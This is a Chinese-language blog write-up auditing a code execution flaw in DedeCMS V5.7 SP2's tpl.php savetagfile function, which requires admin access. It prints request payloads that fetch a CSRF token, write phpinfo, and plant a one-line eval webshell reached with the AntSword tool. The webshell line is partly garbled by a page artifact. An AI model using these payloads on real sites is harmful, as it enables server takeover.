代码审计(PHP)-代码执行漏洞-DedeCMS V5.7 UTF8 SP2

  • A+
所属分类:安全文章
摘要

代码审计(PHP)-代码执行漏洞-DedeCMS V5.7 UTF8 SP2漏洞代码位于tpl.php251行-281行定义savetagfile()函数:判断参数”action”是否等于”savetagfile”,等于,进行下一步。
csrf_chack()函数:csrf检验函数,需要加上”token”来进行绕过。
token是登陆令牌,向服务器发送登录请求时,客户端会生成一个用于验证的令牌。

代码审计(PHP)-代码执行漏洞-DedeCMS V5.7 UTF8 SP2

漏洞代码位于tpl.php251行-281行

定义savetagfile()函数:判断参数"action"是否等于"savetagfile",等于,进行下一步。
csrf_chack()函数:csrf检验函数,需要加上"token"来进行绕过。
token是登陆令牌,向服务器发送登录请求时,客户端会生成一个用于验证的令牌。

function csrf_check() {     global $token;     if(!isset($token) || strcasecmp($token, $_SESSION['token']) != 0){         echo '<a href="http://bbs.dedecms.com/907721.html">DedeCMS:CSRF Token Check Failed!</a>';         exit;     } } 

preg_replace()函数执行一个正则表达式的搜索和替换。

if(!preg_match("#^[a-z0-9_-]{1,}/.lib/.php$#i", $filename))     {         ShowMsg('文件名不合法,不允许进行操作!', '-1');         exit();     } 

正则表达式匹配,文档名必须要.lib.php结尾。

整个savetagfile()函数最终把$content里的内容写入到路径,代码对写入的文档名字进行简单的过滤,以及一个csrf防护,并没有什么其他的安全措施,导致可以任意写入代码拿WebShell。
获取token:action的参数有很多:upload、edittag、addnewtag、uploadok、del、saveedit、edit等,但只有传入upload的时候页面会回显正常,其他的参数会显示token异常,通过action=upload获取token。
获取token,访问 域名 + /dede/tpl.php?action=upload

Payload:http://127.0.0.1/dedecms5.7/dede/tpl.php?action=upload 

构造Payload:

Payload:http://127.0.0.1/dedecms5.7/dede/tpl.php?filename=antsword.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=*****************(替换token) 

访问成功写入
访问写入的文档:域名+include/taglib/(文档名).lib.php
构造一句话木马

Payload:http://127.0.0.1/dedecms5.7/dede/tpl.php?filename=antsword.lib.php&action=savetagfile&content=%3C?php%[email protected]($_POST[%27a%27])?%3E&token=***************** 

蚁剑连接WebShell

代码审计(PHP)-代码执行漏洞-DedeCMS V5.7 UTF8 SP2Ps:漏洞略微鸡肋,需要拿到管理员账号密码才行...

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: